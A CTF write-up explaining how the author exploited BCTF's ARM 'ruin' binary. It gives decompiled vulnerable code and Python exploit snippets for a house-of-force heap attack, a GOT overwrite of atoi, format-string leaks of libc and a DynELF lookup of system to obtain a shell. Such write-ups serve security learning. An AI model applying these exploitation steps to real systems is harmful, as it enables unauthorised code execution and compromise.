BCTF - Ruin Writeup
I solved this challenge with the help of my teammate @KT. The required technique and vulnerabilities in this challenge are very similar to the bcloud (pwn 150) exercise I solved this one first so I try to describe them here. I might add a writeup for the other challenge too, if I have the time.
$ ./checksec.sh --file ruin
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ruin
We were given with an ARM (EABI-5) binary, which we immediately loaded up in IDA. The source code is pretty simple so the reversing was pretty straight forward, the Hex-Rays decompiler makes it even easier. The program reads a key and if it is correct we are presented with a menu where we can write strings into three different buffers.
The vulnerabilities were pretty obvious in the binary. The first one is in the key read method at the very beginning, it reads 8 characters into an 8 byte array on the .bss than prints it if it is not the right key.
printf("please input your 8-bit key:");
fread(g8bitKeySecurity, 1u, 8u, (FILE *)stdin);
if ( !strncmp(g8bitKeySecurity, "security", 8u) )
break;
printf("%s is wrong, try again!\n", g8bitKeySecurity);
Luckily there is a heap pointer right after the buffer on the .bss so if we provide an 8 characters long invalid key we have our heap leak, which will be crucial later.
The second vuln is in the edit secret function which allocates an 8 byte long buffer than reads 24 bytes into it.
if ( !gSecretBOF )
gSecretBOF = (char *)malloc(8u);
printf("please input your secret:");
return fgets(gSecretBOF, 24, (FILE *)stdin);
The third vuln is in the sign name function which only checks the upper bound of the supplied integer that later is converted to unsigned. This allows us to allocate arbitrarily large buffer.
So what we have at this point is a heap leak, a binary with no relro and no PIE, a heap buffer that overflows, arbitrary user controlled heap allocation and a third buffer that we can write. This screams house of force (note: a good resource to look for heap exploits is How2Heap by shellphish that also explains and demonstrates house of force in detail).
During house of force we overwrite the size of the wilderness (the size of the last free chunk) to be extremely large so we can allocate huge buffers on the chunked (brk) heap and avoid calling mmap. This way we can move the “end of the heap” to an arbitrary location in the memory and control the next allocation. Since there is no full-relro and there is no PIE we can overwrite .got.plt to gain IP control. To position the “heap end” to the got we have to allocate target_address - 2*pinter_size - heap_current_top
sized buffer.
## Leak the heapbase
connect = c
c.recvuntil(":")
c.send("xxxxxxxx")
leak = c.recvuntil(':')
print hexdump(leak[8:12])
heapbase = u32(leak[8:12]) - 8
c.send("security")
c.recvuntil(":")
## Overwrite last chunk free space
LAST_CHUNK_SIZE= "\xff"*4 + "\xff"*4
FILL="\x00"*8
sendData(c, 2, ["A"*8+LAST_CHUNK_SIZE+FILL])
print "Wilderness Set Up"
c.send('\n')
c.recvuntil(':')
## Position the "heap end"
heap_top = heapbase + 20
target = e.got['exit']
print hex(target)
address = target - 8 - heap_top
print str(address)
OFFSET_TO_GOT= str(address) + 'A'* (32 -len(str(address)))
sendData(c, 3, [OFFSET_TO_GOT,"A"*10+"\n"])
Our third controlled buffer is 16 bytes long plus the 8 bytes of the chunk header so we would overwrite 24 bytes on the .got.
.got:00010F74 __libc_start_main_ptr DCD __imp___libc_start_main
.got:00010F74 ; DATA XREF: __libc_start_main+8r
.got:00010F78 __gmon_start___ptr DCD __imp___gmon_start__ ; DATA XREF: __gmon_start__+8r
.got:00010F7C exit_ptr DCD __imp_exit ; DATA XREF: exit+8r
.got:00010F80 atoi_ptr DCD __imp_atoi ; DATA XREF: atoi+8r
.got:00010F84 strncmp_ptr DCD __imp_strncmp ; DATA XREF: strncmp+8r
.got:00010F88 abort_ptr DCD __imp_abort ; DATA XREF: abort+8r
A good target to overwrite is atoi
because we can directly supply a string as its parameter and has enough space before and after it. Now that we have IP control we need an address to jump to, however we dont yet have the libc base address and the libc version. At this point we decided to overwrite atoi
with the .plt address of the printf
stub to leak further information.
## leak libc base
c.send("%21$p|%22$p/\n")
libc = c.recvuntil('/')[:-1]
start = int(libc.split('|')[0], 16)
segment = int(libc.split('|')[1], 16)
print hex(start)
print hex(segment)
## Overwrite got
PAYLOAD_ADDR=p32(0x8594)
sendData(c, 1, [PAYLOAD_ADDR+ "\x00"* (16-len(PAYLOAD_ADDR))])
Fortunately there are libc adresses on the stack that we can read, so we only need the address of system
. With our printf we have arbitrary read from the entire memory thus we can search libc for the system export symbol, this can be further simplified with pwntools DynELF lookup. The only problem is that the printf
input is read by fgets
which terminates on null byte, so we cant directly read addresses containing 0x00 byte. This is not a huge problem because we can still read from the previous or next address and identify the ELF header.
def leaker(addr):
sys.stdout.write(hex(addr) + ': ')
if addr%0x100 == 0:
print "upppss..."
if not '000' in '%02x'%(addr + 1):
testVal = leaker(addr + 1)
if testVal[0:3] == "ELF":
return "\x7f" + testVal
else:
return leaker(addr - 1)
else:
return leaker(addr - 1)
else:
connect.send(p32(addr) + "%5$s\n")
data = connect.recvuntil('\nwrong')[4:-6]
if data == "":
data += "\x00"
print '%r' % data
dump = connect.recvuntil(':')
return data
d = DynELF(leaker, start)
system = d.lookup('system')
print 'system = %r' % system
At this point we have evrything we need, we just have to rewrite the original atoi
address to the leaked system
address. One little thing is that we have overwritten the atoi
which return value is used to navigate the menu, luckily we can use the printf
to navigate by sending as many characters as the menu option we want to hit (the printf
returns the number of printed bytes). Finally we just have to send the “\bin\sh” input to system
and we have our remote shell, to read the flag.
BCTF{H0w_3lf_Ru1n3d_XmaS}
The complete exploit is availabe here (disclaimer: it was written under CTF circumstances and it might disturb seasoned coders). I think the challange was all right, however it really did not make any difference that it was ARM (besides making a tiny bit harder to figure out the libc version). I was looking for some ARM/Thumb mode switching ROP chain writing or something specific for the architecture, which was not needed to solve the challange. Still I had fun and thanks for the organizers for the challenge.